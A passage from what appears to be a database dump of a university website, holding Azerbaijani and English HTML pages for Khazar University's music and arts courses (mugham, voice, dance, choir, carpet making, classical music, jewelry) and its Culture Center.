musiqi mədəniyyətinin şifahi irsinin mühüm qismini təşkil etməklə, Azərbaycan xalqının mədəni ənənələrində və tarixində dərin köklərə malikdir. Şərq musiqisinin möhtəşəm sənət abidəsi olan muğamın yaranmasını alimlər keçən minilliyə, islamaqədərki dövrə aid edirlər.&nbsp;&nbsp;<br></p><p>Xalqın bütün mahnı yaradıcılığı kimi,&nbsp;Şərq sənətinin mühüm formalarından olan muğam da müasir bəstəkarlıq yaradıcılığında çox şeyi müəyyən edir, müasir Azərbaycan musiqisinin ən müxtəlif saһələrini qidalandırır.&nbsp;<br>Həm milli mədəniyyət üçün, həm də bütün bəşəriyyətin mədəniyyəti üçün Azərbaycan muğamının bədii dəyəri, onun yüksək mənalılığı 2003-cü ildə YUNESKO kimi nüfuzlu beynəlxalq təsisat tərəfindən etiraf olunmuşdur. YUNESKO muğamı \"bəşəriyyətin şifahi və qeyri-maddi irsinin şah əsərlərindən biri\" elan etmişdir.</p><p>Xəzər Universitetində Azərbaycan musiqi mədəniyyətinin ayrılmaz tərkib hissəsi sayılan xalq mahnıları və muğamların yaranması tarixi də geniş şəkildə tələbələrə açılanır. Azərbaycanın görkəmli muğam ustalarınin tədris etdiyi muğam dərsləri tələbələri ritmik muğamlar və əsas muğamlardan törəyən muğamlar haqqında məlumatlandırır.</p><img src=\"http://www.khazar.org/files/image/13_05_20_IMG_2736_copy.jpg\" style=\"border:0px  #000000;width:200px;height:150px;vertical-align:baseline\"><p>&nbsp;</p>  </div><div style=\"font-family:arial, helvetica, sans-serif;background:undefined\"></div></div><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><a href=\"http://www.khazar.org/az/menus/725/syllabus\">Sylla</a><a href=\"http://www.khazar.org/az/menus/725/syllabus\">bus</a></p><div style=\"background:undefined\"><br></div>'),(2035,1236,'az','Ziyarət','Ziyarət',''),(2036,1237,'az','Mədəniyyət mərkəzi','Mədəniyyət mərkəzi','<p><br></p><p>2013 –cü il mart ayının 1-də Xəzər Universitetində Mədəniyyət\r\nMərkəzinin təntənəli açılışı oldu. Mərkəzin yaradılmasında məqsəd kiçik görüşlərin,\r\npoeziya məclislərinin, universitetə gələn qonaqların qəbulunu təşkil etməkdir.\r\nXüsusi dizaynla hazırlanmış mərkəz xarici qonaqları Azərbaycan mədəniyyətinin\r\ninciləri- ancaq əl işlərindən ibarət olan incəsənət əsərləri ilə valeh edir. </p>\r\n<p>Mədəniyyət\r\nMərkəzində Dekorativ-tətbiqi sənətin müxtəlif sahələri öz əksini tapır: </p>\r\n<p><em>taxta üzərində şəbəkə;</em></p>\r\n<p><em>batika;</em></p>\r\n<p><em>&nbsp;rəngkarlıq;</em></p>\r\n<p><em>&nbsp;keramika</em></p>\r\n<p><em>Qurama;</em></p>\r\n<p><em>Milli tikmə və muncuqla əl işləri</em>- daxildir. ( Bunları yaxşıca redaktə eləmək lazımdı)\r\n</p>\r\n<p>&nbsp;</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;&nbsp;\r\nTəhsil və tədqiqatla yanaşı universitetin mədəni həyatını\r\nzənginləşdirmək məqsədi ilə digər təşkilatlarla əlaqələr yaradır, konsertlər və\r\nşoular təşkil edir və buraxılış mərasimləri və digər tədbirlərdə mühüm rol\r\noynayır.</p>\r\n<p style=\"\" margin-top:0in;margin-right:0in;margin-bottom:7.5pt;margin-left:0in;text-align:justify;background:white\"\"=\"\">&nbsp;Departamentin məqsədi\r\nxalça toxuma, musiqi duyumunun inkişafı, musiqi biliyi, həmçinin Xəzərin\r\ntələbələrinin artistik və intelekt imkan və bacarıqlarının inkişafı üçün\r\nperformans imkanlarının inkişafı kimi Azərbaycan Milli incəsənətinə aid\r\nsahələrdə treyninqlər təşkil etməkdir. Universitetin toplantı salonları eyni\r\nzamanda Azərbaycan və dünya mədəniyyətinin inkişafı və təbliğinə töhfə vermək\r\nüçün universitet və digər qrupların toplantıları, məşqləri və konsertləri üçün\r\nistifadə olunur. Departament tərəfindən təklif olunan fənlər Azərbaycanın\r\nfundamental estetik dəyərlərinin təbliğini həyata keçirir. Hər tələbə milli\r\nmədəniyyətimizi daha dərindən öyrənmək üçün arzuladıqları sahəni seçə bilər.\r\nTələbələr Xəzər Universitetində təhsil aldıqları müddətdə musiqi, rəqs, teatr\r\nvə digər qruplarda iştirak edə bilər və eyni zamanda muğam, xalq musiqisi, Azərbaycanın\r\nklassik musiqisi və vokal, xor, xalçaçılıq, zərgərlik və milli kostyum dizaynı\r\nüzrə tanınmış mütəxəssislərdən dərslər alaraq akademik kredit əldə edə\r\nbilərlər. Musiqi və İncəsənət departamenti həmçinin Xalça\r\nmuzeyi, Zərgərlik muzeyi və Milli geyimlər(Hər\r\nbirinə link qoyulmalı!) muzeyi daxil olmaqla bir neçə mərkəzlərin işinə nəzarət edir.</p>'),(1071,681,'en',' Folk Songs And Mugham',' Folk Songs And Mugham','<div><br></div><div style=\"font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\"><br></strong></h3><h3><strong>FOLK SONGS AND MUGHAM</strong>&nbsp;</h3>  </div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong>Folk Songs and Mugham</strong>- the art of mugham lies in its secrets that have been preserved for centuries. Each performer bases his or her singing on strict rules, but at the same time displays qualities of creativity, performing mughams with a creative style, adding new features, trills, voices and melodies. All of these things are gradually accepted by mugham artists and are included in the repertoire of their performance styles. Thus, mugham develops. It was the unifying musical genre of the peoples of the Middle East until about the XIV century, but later this unifying musical genre branched off according to nations because of social and political changes. The course teaches students the history of the development of mugham.  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\">The course also teaches rhythmic mugham and basic mugham. It is designed to help students master and understand the aesthetic values and character of national mugham music on the seven main scales (Rast, Shur, Chahargah, Bayati-Shiraz, Segah, Humayan, and Shustar).</div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><img src=\"http://www.khazar.org/files/image/13_05_20_IMG_2736_copy.jpg\" style=\"width:200px;height:150px;margin:7px;float:left\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><strong><a href=\"http://www.khazar.org/az/menus/725/syllabus\">Syllabus</a></strong></div><div><div><br></div><br></div>'),(1072,682,'en','Voice','Voice','<div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div></div><div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">VOICE</strong>&nbsp;</h3>  <br></div><div><br></div><div>Music is an incomparable force that influences the spirit and mentality of people. Music speaks the language of people’s emotions. The mission fo music is not just as an art. It is hard to find a more effective way than music to penetrate people’s hearts and form their thinking. For this reason, music classes are considered very important for university students. This class contains classical opera, operetta, composed songs, classical popular songs, and folk songs. The goal of this class is to teach the details of the vocal arts and to train students in those works of classic opera that have achieved artistic immortality. The vocal profession is the indicator of the cultural level of the people. One of the main motivators of this course is to teach students to master the high cultural skill of listening to and understanding opera.&nbsp;</div><div><br></div><div><img src=\"/files/image/13_05_22_DSC_0311_copy.jpg\" style=\"border:0px  #000000;width:200px;height:133px;margin:7px;float:left\"><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><br></div><div><strong><a href=\"http://www.khazar.org/az/menus/726/sillabuslar\">Syllabus</a></strong>  <br></div>'),(1073,682,'az','Vokal','Vokal','<div><br></div><div><br></div><div><h3><strong>&nbsp;<img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">VOKAL</strong>&nbsp;</h3>  <br></div><div><span style=\"font-family:\'times new roman\', times, serif;background-color:#eeeeee\"><br></span></div><div><span style=\"font-family:\'times new roman\', times, serif;background-color:#eeeeee\"><br></span></div><div><br></div><div><div><br></div><div>Musiqi, sözün əsl mənasında böyük və qüdrətli varlıqdır. Vokal sənəti də bu varlıqların önündə dayanır. Azərbaycanda milli vokal sənətinin elmi-praktiki inkişafı vokal məktəbinin banisi Bülbülün adıyla bağlıdır.&nbsp;<br></div><div><br></div><div>Hələ 1918–1920-ci illərdə Azərbaycan Demokratik Respublikası dövründə «Milli marş», «Azərbaycan marşı», «Çırpınırdın Qara dəniz» kimi vətənpərvərlik ruhunda himn xarakterli mahnılar yaranmışdır ki, bunlar da vokal əsərlərinin ən gözəl nümunələri hesab olunur.</div>  </div><div>Xəzər Universitetində tələbələrin vokal klassik opera tədrisi vacib bir musiqi növü kimi tədris edilməkdədir.&nbsp; Kursda klassik opera, operetta,bəstəkar mahnıları, klassik estrada,xalq mahnılarına geniş yer verilir. Sənətin tarixi ilə yaxından tanış edilərək, tələbələrdə dünya və milli musiqinin ən yüksək zövq və profisional duyum tərbiyə edilir. Fransanın tanınmış vokalçı (tenor) Jeon Francis Monvoisin &nbsp;Xəzər Universitetində vokal fənninin tələbələrinə ustad dərsləri keçmişdir.</div><div><p>&nbsp;Xəzər Universitetində Üz. Hacıbəylinin “Arşın mal alan ” Operettası Azərbaycanda ilk dəfə olaraq ingilis dilində universitetin müəllim və tələbə heyəti tərəfindən 2006-cı ildə tamaşaya qoyulmuşdur. Bu vokal fənnının atdığı ilk uğurlu addımlarından sayılır. Universitetdə vokal fənninin inkişaf kuliminasiyası F. Əmirov və C. Cabbarlının eyni adli pyesi əsasında tələbələr tərəfindən tamaşaya qoyulan “Sevil” operasının təqdimatı oldu. Belə ki, Azərbaycan incəsənəti tarixində bu ilk hadisə idi. Xəzər Universiteti bu işdə də birincilik qazandı.</p>  </div><div><br><br><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><img src=\"/files/image/13_05_22_DSC_0311_copy.jpg\" style=\"width:200px;height:133px;margin:7px;float:left\"></p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><strong><a href=\"http://www.khazar.org/az/menus/726/sillabuslar\">Sylla</a><a href=\"http://www.khazar.org/az/menus/726/sillabuslar\">bus</a></strong></p><div style=\"background:undefined\"><strong><br></strong></div></div>'),(1074,683,'az',' Rəqs',' Rəqs','<div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><div><br></div></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">AZƏRBAYCAN RƏQSLƏRİ</strong></h3>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><p>Azərbaycan xalq musiqisinin, musiqi folklorumuzun çox geniş yayılmış və qədim tarixə malik olan janrlarından biri də rəqslərdir.&nbsp;</p><p>Azərbaycan xalq rəqsləri tariximizlə ayrılmaz surətdə bağlı olub, onun milli xüsusiyyətini, həm də həyat və məişətini özündə əks etdirir. Bu da ölkənin tarixində, mədəniyyətində rəqs sənətinin nə dərəcədə böyük əhəmiyyətə malik olduğunu göstərir.</p><p>Xəzər Universiteti yarandığı gündən rəqs ansamblı öndə irəliləyir, inkişaf edir. Universitetdə rəqs kurslarının təşkilinin məqsədi tələbələrin rəqsə olan sevgilərini inkişaf etdirmək, həm də rəqs metodları ilə tələbələri tanış etməkdir. Xüsusi qiz və oğlan&nbsp; ibarət rəqs ansambılı rəqs ənənələrini tələbələrə öyrədir, sevdirir.</p><p>Azərbaycanın görkəmli məshur rəqqaslarının çalışdığı rəqs ansambılları&nbsp; dünyanın bir çox ölkələrində Xəzər Universitetini uğurla təmsil ediblər. Rəqs ansamblının reperturaında dünya xalqlarının milli və müasir rəqsləri yer alır. &nbsp;Azərbaycan Respublikasının Gənclər və İdman Nazirliyi və Azərbaycan Respublikasının Təhsil Nazirliyi ilə birgə Azərbaycanın müxtəlif bölgələrində &nbsp;keçirlən “Tələbə Baharı” tələbələrin Beynəlxaq Yaradıcılıq Festivalında Xəzər Universitetinin rəqs ansambılı 5 ildir ki, I yeri qoruyub saxlamaqdadır.</p>  <br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><img src=\"http://www.khazar.org/files/image/13_05_22_DSC_1337_copy.jpg\"></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></div><div><strong style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><a href=\"http://www.khazar.org/az/menus/727/sillabuslar_\">Syllabus</a><a href=\"http://www.khazar.org/az/menus/727/sillabuslar_\"></a></strong>  <br></div>'),(1075,683,'en','Dance','Dance','<div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><h3><strong>&nbsp; <img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">AZERBAIJANI DANCES</strong>&nbsp; &nbsp;</h3>  <br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong>Azerbaijani dances</strong>&nbsp;carry an ancient and rich history. 2-3 thousand years before our century, in the Bronze Age, the art of the dance took a definite position in the life, customs and tradition of the people. This is known as a result of investigations. In Azerbaijan, as in many developing countries, long before the development of simple and primitive folk musical instruments, dance was accompanied by the rhythms of the audience’s hand-clapping. Tribes engaged in various professions, even hunting, carried out magical rituals with dances consisting of flexible movements demonstrating agility, quickness, and the power of man. Thus, as in many parts of the world, the different types and genres of the art of dance in Azerbaijan took their essence from a branch of oral folklore, folk dances. The art of dance obtained new content and methods through changes that occurred in&nbsp;the nation\'s economic, social and cultural life. Azerbaijani folk dances&nbsp;are inseparably connected to our history, reflecting its national character and mode. This goes to show to what extent the art of dance bore importance in the country\'s history and culture. The goal of organizing the dance courses is to develop students’ love of dance and also to acquaint students with dance methods. Special girls’ and boys’ ensembles are organized to teach dance traditions.&nbsp;  <br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></div><div style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><img src=\"/files/image/13_05_22_DSC_1337_copy.jpg\" style=\"border:0px  #000000;width:200px;height:104px;margin:7px;float:left\"><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\">&nbsp;</p><p style=\"background:undefined\"><br></p><p style=\"background:undefined\"><strong><a href=\"http://www.khazar.org/az/menus/727/sillabuslar_\">Syllabus</a></strong></p></div><div><br></div><br></div>'),(1076,684,'en','Choir','Choir','<div><br></div><div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">CHOIR</strong>&nbsp;</h3>  <br></div><div><br></div><div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The art of choral singing with its centuries-old traditions and deep spiritual content strongly influenced both the performers’ and the audience’ moral and intellectual mood. It is considered a manifestation of the vocal and musical culture which increases and forms the music education and general cultural understanding of the students. The university Department of Music teaches choral culture and the development of music reading skills to musically and vocally talented students. Much emphasis is placed on masterful execution of the collective singing of the chorus, including correct breathing during singing, knowledge of chorus-related terminology, and solfege.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Choir classes are organized with the goal of developing and preserving a rich choir culture, awakening students’ interest in choir arts, and activating and motivating the creative activities of choirmasters.&nbsp;</p><img src=\"/files/image/13_05_22_DSC_03041.jpg\" style=\"border:0px  #000000;width:200px;height:133px;margin:7px;float:left\"><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/az/menus/728/sillabus\">Syllabus</a></strong></p><div><br></div></div>  <br></div>'),(1077,684,'az','Xor','Xor','<div><br></div><div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">XOR</strong>&nbsp;&nbsp;</h3>  <br></div><div><p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p><p style=\"text-align:center\"><br></p><p>&nbsp;</p>\r\n<p>Xor oxuma\r\nincəsənəti öz çoxəsirlik ənənələri və dərin mənəvi məzmunu ilə həm ifaçıların,\r\nhəm də dinləyiçilərin əxlaqi və intellektual əhval ruhiyyəsinə güclü təsir\r\nedir,milli vokal və musiqi mədəniyyətinin etibarlı qalxanı sayılır,insanların\r\nmusiqi tərbiyəsini, ümumi mədəniyyətini yüksəldir. Təsadüfi deyildir ki, Qədim tаrixi əhəmiyyətə mаlik оlаn Yunаnıstаnda &nbsp;gənclərin tərbiyəsində əsаs vаsitə kimi çıxış\r\nedən xоr musiqisi birincilik təşkil edərək, təlim-tərbiyə prоsesində əsаs yer\r\ntuturdu. Hətta Yunаnıstаndа xоrdа оxuyа bilməyənə \"sаvаdsız\" аdı\r\nverilirdi. </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp; Xatırladaq ki, Аzərbаycаndа ilk\r\nprоfessiоnаl xоr mədəniyyətinin bаnisi dаhi&nbsp;<a href=\"https://az.wikipedia.org/wiki/%C3%9Czeyir_Hac%C4%B1b%C9%99yov\" title=\"Üzeyir Hacıbəyov\">Üzeyir Hacıbəyov</a>&nbsp;оlub.</p>\r\n<p style=\"\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;line-height:16.8pt;background:white\"\"=\"\">Xor üçün zəruri sayılan\r\nəlamətlər - ansambl, kök, nüanslardan ibarətdir. Xor opera, oratoriya,\r\nkantatanın önəmli iştirakçısıdır, eləcə də sərbəst ansamlı kimi instrumental\r\nmüşayiətli və müşayiətsiz (a kapella) böyük rol oynayır.</p>\r\n<p style=\"\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;line-height:16.8pt;background:white\"\"=\"\">Xor səslərinin sayına və\r\nkeyfiyyətinə görə fərqlənir:</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:1.2pt;margin-left:1.2pt;line-height:16.8pt;background:white\"\"=\"\"><strong>yekcins\r\n(həmcins) xor</strong></p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:1.2pt;margin-left:20.4pt;line-height:16.8pt;background:white\"\"=\"\"><strong><em>qadın\r\nxoru</em></strong>&nbsp;-\r\ntərkibinə iki əsas xor partiyası – soprano və altolar partiyaları daxildir;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:1.2pt;margin-left:20.4pt;line-height:16.8pt;background:white\"\"=\"\"><strong><em>kişi xoru</em></strong>&nbsp;- tərkibinə üç əsas partiya – tenor,\r\nbariton, bas partiyaları daxildir;</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:1.2pt;margin-left:20.4pt;line-height:16.8pt;background:white\"\"=\"\"><strong><em>uşaq xoru</em></strong>&nbsp;- tərkibində iki əsas xor partiyası –\r\ndiskant və altolar partiyaları daxildir&nbsp;<sup><a href=\"https://az.wikipedia.org/wiki/Xor#sitat_qeyd-11\">[11]</a></sup>.</p>\r\n<p style=\"\" mso-margin-top-alt:auto;margin-bottom:1.2pt;margin-left:1.2pt;line-height:16.8pt;background:white\"\"=\"\"><strong>çoxsəsli xor</strong></p>\r\n<p style=\"\" margin-top:6.0pt;margin-right:0in;margin-bottom:6.0pt;margin-left:0in;line-height:16.8pt;background:white\"\"=\"\">Xor dörd səs qrupuna bölünür: soprano, alt, tenor, bas.</p>\r\n<p>&nbsp;</p>\r\n<p>&nbsp;Sadaladıqlarımız bu müsbət keyfiyyətləri\r\ntələbələrə aşılamaq üçün və eyni zamanda musiqi və vokal istedadı olan\r\ntələbələrin xor mədəniyyətinə yiyələnməsi və oxuma bacarığının formalaşması üçün\r\nbu iş Xəzər Universitetinin Musiqi Departamentində yüksək səviyyədə həyata\r\nkeçirilir. Burada xor kollektivinin ifaçılıq məharəti təkmilləşdirilir,oxuma\r\nzamanı nəfəsalma və nəfəsvermə, xor terminləri və xor solfeciosu üzrə vokalizlərə\r\nböyük əhəmiyyət verilir. </p>\r\n<p>Qeyd edək ki,\r\nC. Cabbarlının “Sevil” operası tamaşasının təqdimatında Universitetin Xor\r\nKollektivi 47 nəfərlik tərkiblə böyük və profisional performas nümayiş etdirdi.\r\nXor kollektivi dünyanın müxtəlif dillərində ( ingilis,fransız,ispan, italyan,\r\nrus, türk,fars) əsərlər ifa edirlər. </p>\r\n<p>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 16 iyun 2016-cı ildə ilk dəfə olaraq\r\nXəzər Universitetinin müəllimlərindən ibarət xor kollektivi təşkil olunmuşdur.</p>\r\n<p>Zəngin xor\r\nmədəniyyətinin inkişafı və qorunub saxlanılması məqsədilə burada kurslar da\r\ntəşkil olunur.&nbsp;</p>  <p style=\"font-family:arial, helvetica, sans-serif;font-size:medium\"><br></p>\r\n<p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><br></p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\">&nbsp;</p><p style=\"font-size:medium;font-family:arial, helvetica, sans-serif\"><strong><a href=\"http://www.khazar.org/az/menus/728/sillabus\">Syllabus</a></strong></p>  <br></div>'),(1078,685,'en','Carpet Making And Design','Carpet Making And Design','<div><br></div><div><h3><strong>&nbsp;<img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">CARPET MAKING AND DESIGN</strong>&nbsp;</h3>  <br></div><div><br></div><div><br></div><div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This art, among the most widespread cultural arts, has taken a vital place in the heritage of Azerbaijan and has almost become a symbol of the people. Various pattern elements and descriptively decorated carpets (with and without pile) decorate walls of residential buildings, homes, yurts and tents; are laid out; and are used to impart a high aesthetic significance. The latest development period of the Azerbaijani carpet making art took place in the middle of the XX century. In that period, the carpet trade developed in several directions and carried a multi-faceted character. In the regions and villages of the republic, the art of carpet making is continued by individual carpet masters. The classic compositions of the art are manifested in these modern artists’ traditionally-woven carpet works. At the same time, entirely new compositions and pattern elements are being introduced. The class teaches and promotes the history of the art of carpet making.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Among the faculty are winners of international competitions, globally recognized artists, dancers, singers, and pianists. The activities of these professionals, who are involved with Eastern classical music alongside training on European musical instruments, have created a great deal of resonance in their fields internationally.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><img src=\"/files/image/13_05_22_P1020152_copy.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\"></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a href=\"http://www.khazar.org/en/menus/729/sillabus\">Syllabus</a></strong></p><div><strong><br></strong></div></div>  <br></div>'),(1079,685,'az','Xalçaçı Rəssam','Xalçaçı Rəssam','<div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">XALÇAÇI RƏSSAM</strong>&nbsp; &nbsp;</h3>  <br></div><div><br></div><div><br></div><div><br></div><div><div><p>Xalçaçılıq Azərbaycan xalq tətbiqi sənətinin ən qədim və ən geniş yayılmış növüdür. Hazırda yüzlərlə ornamental, süjetli xalı və xalça dünyanın böyük muzeylərində, kolleksionerlərdə yaşamaqda və mənsub olduğu xalqın milli ləyaqətini yaşatmaqdadır. Bu proqramda məqsəd tələbələri xalçaçılıq sənətinin keçmişi və bu günü ilə tanış etmək, xovsuz və xovlu xalçaların texnoloji və bədii cəhətlərini<sub>,&nbsp;</sub>fərdi kompozisiyaları tədris etmək, Azərbaycan xalçalarının tipləri və qrupları üzrə bölünən xalçalarla tanış etməkdir.</p><p>Tələbələr milli ornament və kompozisiyaları mənimsə-yərək, d.t.sənətinin müxtəlif sahələrində çalışa biləcəklər.</p><p><img src=\"/files/image/13_05_22_P1020152_copy.jpg\" style=\"border:0px  #000000;width:200px;height:150px;margin:7px;float:left\"></p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p>&nbsp;</p><p><br></p><p><strong><a href=\"http://www.khazar.org/en/menus/729/sillabus\">Syllabus</a></strong></p><div><strong><br></strong></div></div>  <br></div>'),(1080,686,'en',' Classical Music',' Classical Music','<div><div><p>&nbsp;</p><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">&nbsp; Classical Music</strong>&nbsp;&nbsp;</h3> <p><br></p><p><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Classical music is considered the peak of the civilized world’s music; however, classical music is met with too much indifference in our society. The main goal of organizing these courses is to create an environment where students can learn to evaluate and love classical music. Students listen to the creations of ingenious composers and learn them. The lectures in this course series are designed to acquaint the audience with the historical development of Azerbaijani and world music. The main goal of the course is to formulate students’ intellectual base and musical worldview. The lectures cover various composers’ lives and musical legacies as well was various methods, genres, and historical periods. From this perspective, they may be grouped as monographic and generalizing lectures. The material contains introductory theoretical practice, allowing the students to listen to and learn the sequence of music. Lectures are supplemented with live performances, musical excerpts, and audio/video materials.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a href=\"http://www.khazar.org/en/menus/730/sillabuslar_\">Syllabus</a></strong></p><div><br></div></div>  <br></div>'),(1081,686,'az','Klassik Musiqi','Klassik Musiqi','<div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">Klassik Musiqi</strong>&nbsp;&nbsp;</h3>  <br></div><div><br></div><div><br></div><div><div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">İnsan həyatını musiqisiz təsəvvür etmək mümkün deyil, ixtisasından və məşğulliyyətindən asılı olmayaraq insan doğulduğu gündən dünyasını dəyişənədək musiqi onu daim müşahidə edir, həyatının ayrılmaz hissəsinə çevrilir. Əsrlər boyu dünya mədəniyyətinin ayrılmaz hissəsi olan musiqi bədii zövqü artırır, mənəviyyatı ucaldır,insanın daxili aləmini zənginləşdirir.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a href=\"http://www.khazar.org/en/menus/730/sillabuslar_\" target=\"_blank\">Syllabus</a></strong></p><div><br></div></div></div>  <br></div>'),(1082,687,'en','Jewelry','Jewelry','<div><br></div><div><br></div><div><h3><strong><img src=\"/files/image/13_05_16_music.PNG\" style=\"width:200px;height:100px;margin:7px;float:left\">JEWELRY</strong>&nbsp;</h3>  <br></div><div><br></div><div><br></div><div><br></div><div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Metallic objects are of the primary things people use to adorn themselves. “Artistic metal” art is one of the main branches of Azerbaijani Decorative Applied Art. This form of art has created many branches within itself. Artistic metal art has been applied in combination with a variety of other types of art for centuries.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">It is well known that jewelry, with its own unique place among fine arts, is one of our everlasting national riches. This field, which was born out of the natural need for people to make their world more beautiful, carries traces of the millennia over which it was formed against the backdrop of the nation’s geography, climate, economy, and later culture and religion. Along with its status as a national resource, jewelry also helps us understand and create ancient and beautiful traditions. Thus education in a field as interesting and multifaceted as jewelry, and especially the evaluation of students, is unique.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Decorative artifacts that have been found as a result of long years of archeological study form a unique part of the representations of our rich culture. These decorative objects, taken together, provide an opportunity to comment on the art of jewelry. For example, pieces that are now only worn by women would have also been worn by men in ancient times. In those times, wearing jewelry was not only for aesthetic reasons; it was also a status symbol.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">People’s attitudes toward certain decorative objects changed along with the formulation of religion as well; most decorations on bracelets, earrings, beads, belts and other decorative items for women shifted to symbols of the moon and other superstitious symbols.&nbsp;</p><img src=\"/files/image/13_05_22_DSC_00318.jpg\" style=\"border:0px  #000000;float:left;margin:7px;width:200px;height:132px\"><p style=\"font-family:\'times new roman\', 